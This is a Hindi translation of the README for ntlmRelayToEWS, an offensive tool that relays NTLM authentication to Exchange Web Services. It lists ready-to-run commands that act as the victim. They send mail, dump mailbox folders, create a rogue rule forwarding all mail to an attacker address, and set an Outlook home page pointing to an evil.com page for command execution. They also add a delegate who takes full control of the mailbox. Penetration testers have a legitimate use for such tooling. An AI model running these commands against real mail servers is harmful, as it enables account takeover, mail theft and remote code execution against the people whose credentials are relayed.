
NTLM रिले हमला Exchange Web Services पर
लेखक: Arno0x0x - @Arno0x0x
ntlmRelayToEWS एक उपकरण है जो Exchange Web Services (EWS) पर ntlm relay हमलों को करने के लिए है। यह पोर्ट 445 पर एक SMBListener और पोर्ट 80 पर एक HTTPListener शुरू करता है, जो पीड़ित से आने वाले कनेक्शन की प्रतीक्षा करता है। एक बार पीड़ित किसी एक लिसनर से कनेक्ट हो जाता है, तो NTLM वार्ता होती है और इसे लक्ष्य EWS सर्वर पर relay किया जाता है।
स्पष्ट रूप से यह उपकरण पूरे EWS API को नहीं लागू करता है, इसलिए केवल कुछ सेवाएं लागू की गई हैं जो कुछ हमले के परिदृश्यों में उपयोगी हो सकती हैं। भविष्य में और जोड़ सकता हूँ। कौन से EWS कॉल लागू किए जा रहे हैं, इसका अंदाजा लगाने के लिए 'usage' अनुभाग देखें।
Exchange version:
मैंने इस उपकरण का परीक्षण केवल एक Exchange Server 2010 SP2 के विरुद्ध किया है (जो काफी पुराना है, स्वीकार्य है), इसलिए सभी EWS SOAP अनुरोध टेम्पलेट, साथ ही EWS प्रतिक्रियाओं की पार्सिंग, केवल Exchange के इस संस्करण के लिए परीक्षण की गई है।
हालाँकि मैंने स्वयं परीक्षण नहीं किया है, कुछ ने बताया है कि यह उपकरण एक Exchange 2016 सर्वर के विरुद्ध भी काम कर रहा है, बिना किसी बदलाव के (अर्थात SOAP अनुरोध टेम्पलेट में कोई बदलाव नहीं)।
यदि वे SOAP अनुरोध Exchange के किसी अन्य संस्करण पर काम नहीं करते हैं, तो Microsoft EWS Managed API का उपयोग करके ट्रेस मोड में नए संस्करण के अनुरूप SOAP अनुरोध टेम्पलेट बनाना काफी आसान है और उचित SOAP अनुरोधों को कैप्चर करना (इसी तरह मैंने किया!)।
EWS SOAP client:
मुझे एक SOAP क्लाइंट का उपयोग करना अच्छा लगता ताकि Exchange WSDL के आधार पर सभी SOAP अनुरोधों को स्वचालित रूप से बनाने के लिए एक उचित इंटरफ़ेस मिल सके। मैंने 'zeep' का उपयोग करने की कोशिश की, लेकिन मैंने Exchange WSDL के साथ इसे काम करने के लिए दीवार पर सिर पीट लिया क्योंकि इसे बाहरी नेमस्पेस डाउनलोड करने की आवश्यकता होती है और इस प्रकार इंटरनेट कनेक्शन की आवश्यकता होती है। साथ ही, 'zeep' के साथ, एक कस्टम ट्रांसपोर्ट सत्र के उपयोग के लिए Requests.session की आवश्यकता होती है जो उस HTTP(S) सत्र के प्रकार का नहीं है जो हमारे पास डिफ़ॉल्ट रूप से HTTPClientRelay के साथ है: इसके लिए या तो HTTPClientRelay को 'Requests' का उपयोग करने के लिए पुनर्गठित करना होता (/me lazy) या बस zeep को zeep.client.create_message() के साथ संदेश बनाने देना और फिर इसे हमारे पास पहले से मौजूद relayed सत्र के साथ भेजना होता। या क्या यह इसलिए है क्योंकि मैं एक बुरा डेवलपर हूँ? ओह ठीक है...
ntlmRelayToEWS के लिए Impacket की एक उचित/साफ स्थापना की आवश्यकता है। इसलिए Impacket का कार्यशील संस्करण प्राप्त करने के लिए उनके निर्देशों का पालन करें।
ntlmRelayToEWS निम्नलिखित हमलों को लागू करता है, जो सभी relayed उपयोगकर्ता (पीड़ित) की ओर से किए जाते हैं।
अतिरिक्त जानकारी के लिए सहायता देखें: ./ntlmRelayToEWS -h। --verbose या -v फ़्लैग का उपयोग करके अधिक डीबग जानकारी प्राप्त करें।
sendMail
गंतव्यों की सूची में HTML स्वरूपित ईमेल भेजता है:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
पूर्वनिर्धारित फ़ोल्डर (इनबॉक्स, भेजी गई वस्तुएं, कैलेंडर, कार्य) से सभी आइटम प्राप्त करता है:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
एक दुष्ट अग्रेषण नियम बनाता है जो पीड़ित के लिए सभी आने वाले संदेशों को दूसरे ईमेल पते पर अग्रेषित करता है:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
URL निर्दिष्ट करके फ़ोल्डर होम पेज (आमतौर पर इनबॉक्स फ़ोल्डर के लिए) परिभाषित करता है। SensePost/Etienne Stalmans द्वारा खोजी गई यह तकनीक एक विशिष्ट HTML पृष्ठ बनाकर पीड़ित के Outlook प्रोग्राम में मनमाना कमांड निष्पादन की अनुमति देती है: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
पीड़ित के प्राथमिक मेलबॉक्स पर एक प्रतिनिधि पता सेट करता है। दूसरे शब्दों में, पीड़ित अपने मेलबॉक्स का नियंत्रण किसी और को सौंपता है। एक बार ऐसा करने पर, इसका मतलब है कि प्रतिनिधि पते का पीड़ित के मेलबॉक्स पर पूर्ण नियंत्रण होता है, बस इसे Outlook में एक अतिरिक्त मेलबॉक्स के रूप में खोलकर:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
पीड़ित को अपने क्रेडेंशियल ntlmRelayToEWS को भेजने के लिए, आप निम्नलिखित प्रसिद्ध विधियों में से किसी का उपयोग कर सकते हैं:
Invoke-SendEmail.ps1 स्क्रिप्ट देखें।Impacket और Alberto Solino @agsolino द्वारा ntlmrelayx पर आधारित।
यह उपकरण केवल कानूनी और वैध तरीके से उपयोग के लिए है:
एम्पायर के लेखकों को उद्धृत करते हुए: वैध इन्फोसेक उद्योग के लिए उपयोगी आक्रामक उपकरण बनाने का कोई तरीका नहीं है जबकि एक साथ दुर्भावनापूर्ण अभिनेताओं को उनका दुरुपयोग करने से रोका जा सके।